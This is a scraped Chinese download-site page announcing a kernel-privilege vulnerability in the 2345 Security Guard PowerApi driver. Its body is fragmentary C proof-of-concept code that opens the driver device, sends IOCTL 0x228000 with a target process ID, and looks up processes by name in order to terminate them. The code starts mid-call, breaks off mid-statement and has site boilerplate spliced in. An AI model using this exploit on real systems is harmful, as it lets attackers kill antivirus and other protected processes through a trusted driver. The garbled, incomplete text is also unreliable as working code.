2345安全卫士PowerApi驱动内核权限杀任意进程漏洞
发表时间:2022-07-03 来源:学卫网整理相关软件相关文章人气:
FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL );if(hDevice == INVALID_HANDLE_VALUE){PrintErrCodeMessage("[CreateFileA]");goto end;}else{printf("Open Device Success!\r\n");}printf("press any key to continue!\n");getchar();BOOL ret = DeviceIoControl(hDevice, 0x228000,&dwPid,sizeof(dwPid),szOutBuf,// out_buffernOutLen,// out_buffer_len = 0&nOutLen,// NULL);if(!ret) { PrintErrCodeMessage("[DeviceIoControl]");goto end;}elseprintf("DeviceIoControl Successed!\n");end: CloseHandle(hDevice);return 0;}BOOL GetPidsByNameLike(IN char szProcName[],OUT vector
&vPids){if(NULL==szProcName)return FALSE;HANDLE hProcessSnap = NULL;PROCESSENTRY32 pe32= {0};hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (hProcessSnap == (HANDLE)-1){return FALSE;}pe32.dwSize = sizeof(PROCESSENTRY32);if(Process32First(hProcessSnap, &pe32)){do{if(NULL!=strstr(pe32.szExeFile,szProcName)){vPids.push_back(pe32.th32ProcessID);}}while (Process32Next(hProcessSnap, &pe32));}CloseHandle (hProcessSnap);return TRUE;}int TerminateByNL(char szNL[]){vector vPids;char szOutBuf[100] = {0};DWORD nOutLen = sizeof(szOutBuf);HANDLE hDevice = CreateFileW( DEVICENAME , GENERIC_READ (网视站,专业提供浏览器下载)